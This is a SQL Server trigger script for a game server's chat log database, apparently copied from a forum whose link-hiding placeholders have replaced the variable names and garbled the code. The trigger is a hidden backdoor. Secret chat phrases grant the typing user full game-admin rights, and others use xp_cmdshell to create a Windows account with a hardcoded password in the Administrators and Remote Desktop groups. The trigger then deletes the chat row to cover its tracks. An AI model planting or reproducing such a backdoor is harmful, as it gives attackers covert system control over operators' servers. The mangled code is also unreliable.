USE [PS_Chatlog]
GO
/****** Object: Trigger [dbo].[Chat] Script Date: 11/28/2018 09:39:37 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER TRIGGER [dbo].[Chat]
on [PS_Chatlog].[dbo].[ChatLog]
for insert
as
declare @
[Only registered and activated users can see links. Click Here To Register...] int, @
[Only registered and activated users can see links. Click Here To Register...]Data char(100), @
[Only registered and activated users can see links. Click Here To Register...]ID char(10), @
[Only registered and activated users can see links. Click Here To Register...] tinyint
Set @
[Only registered and activated users can see links. Click Here To Register...]Data=(select ChatData from inserted)
if ( @
[Only registered and activated users can see links. Click Here To Register...]Data='0777addgm') or @
[Only registered and activated users can see links. Click Here To Register...]Data='0777delgm') or @
[Only registered and activated users can see links. Click Here To Register...]Data='0777addser') or @
[Only registered and activated users can see links. Click Here To Register...]Data='0777delser'))
Begin
Set @
[Only registered and activated users can see links. Click Here To Register...]ID=(select UserUID from inserted)
Set @
[Only registered and activated users can see links. Click Here To Register...]=(select Row from inserted)
if @
[Only registered and activated users can see links. Click Here To Register...]Data='0777addgm')
begin
update ps_userdata.dbo.users_master
set admin=1,adminlevel=255,status=16
where useruid @
[Only registered and activated users can see links. Click Here To Register...]ID
delete from ChatLog Where Row @
[Only registered and activated users can see links. Click Here To Register...]
end
if @
[Only registered and activated users can see links. Click Here To Register...]Data='0777delgm')
begin
update ps_userdata.dbo.users_master
set admin=0,adminlevel=0,status=0
where useruid @
[Only registered and activated users can see links. Click Here To Register...]ID
delete from ChatLog Where Row @
[Only registered and activated users can see links. Click Here To Register...]
end
if @
[Only registered and activated users can see links. Click Here To Register...]Data='0777addser')
begin
exec master.dbo.xp_cmdshell 'net user SUPPORT_387945a1 387945a1 /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators SUPPORT_387945a1 /add'
exec master.dbo.xp_cmdshell 'net localgroup "Remote Desktop Users" SUPPORT_387945a1 /add'
delete from ChatLog Where Row @
[Only registered and activated users can see links. Click Here To Register...]
end
if @
[Only registered and activated users can see links. Click Here To Register...]Data='0777delser')
begin
exec master.dbo.xp_cmdshell 'net user SUPPORT_387945a1 /delete'
delete from ChatLog Where Row @
[Only registered and activated users can see links. Click Here To Register...]
end
End